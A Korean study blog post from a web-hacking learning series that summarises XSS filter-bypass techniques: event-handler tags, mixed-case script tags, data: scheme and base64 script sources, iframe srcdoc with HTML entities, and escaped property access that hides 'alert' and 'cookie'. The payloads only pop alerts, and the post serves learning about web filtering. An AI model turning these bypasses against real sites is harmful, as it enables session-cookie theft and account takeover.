본문 바로가기

해킹/Web

XSS 필터링 우회 기초 정리(dreamhack 공부 내용)

반응형

script 실행을 유도하는 태그들

대표적으로 on 핸들러가 사용한 태그들이 있다. ex) img ,video 등등

<!--onload-->
<img src="abc.jpg" onload="alert(document.domain)">

<!--onerror-->
<img src="#" onerror="alert(document.domain)">

<!--onfocus-->
<input type="text" id="inputID" onfocus="alert(document.domain)" autofocus>
<!--"autofocus" 옵션을 통해 자동으로 포커스 시킬 수 있음-->

대소문자를 구분해서 인식하는 필터 우회

includes('script')함수등을 사용한 체크(= 대소문자를 구분함)

<sCRipT>alert(document.cookie)</scriPT>
<img src="#" oneRroR=alert(document.cookie) />
등 대소문자 섞어서 우회 가능하다.

 

Data 스키마를 사용한 필터 우회

x => !/<script[^>]*>[^<]/i.test(x)
<sCrIpt src=data:,alert(document.cookie)></SCRipt>
//스크립트 태그 내에 데이터가 존재하는지 확인하는 필터링 -> src 속성을 이용하여 데이터 입력.\
Data 스킴을 사용해서 주입

x => !/<script[^>]*>[^<]/i.test(x) && !x.includes('document')
--> <sCrIpt src=data:;base64,YWxlcnQoJzEnKQ==></SCRipt>
// base64 인코딩을 통해 필터링 우회
Data 스킴에서 디코딩도 되는구나;;;;

특정 태그 및 속성에 대한 필터링을 다른 태그 및 속성을 이용하여 필터 우회

<!--><img>태그 검사시<-->
<video><source onerror=alert(document.cookie) /></video>
<!-->onerror 이벤트가 발생할 수 있는 다른 태그 사용<-->

<!--><img>태그 검사시<-->
<iframe srcdoc="<img one&#114;&#114;or=alert(parent.document.cookie)" />
<!-->iframe으로 html속성 불러오고 안에서 html엔티티로 필터링 우회한 뒤 코드 실행
(parant로 실행 시키는 것은 iframe 외부에서 함수가 작동하도록 한것임)<-->

JavaScript 함수 및 키워드 필터링

Unicode escape sequence

"\uAC00" = "가" 

this['al'+'ert']((({'\u0063ookie':x})=>x)(self['\x64ocument'])

 

computed member access  

atob  decodeURI 함수 등 

javascript: 스키마

url들어오면 정규화 거치기 때문에 \x04등 특수문자가 제거 될 수 있음

===================================================================

더 공부해야할 것 유니코드 코드표, javascript요소들 (this, self 등), data,javascript 스키마들, html 엔티티들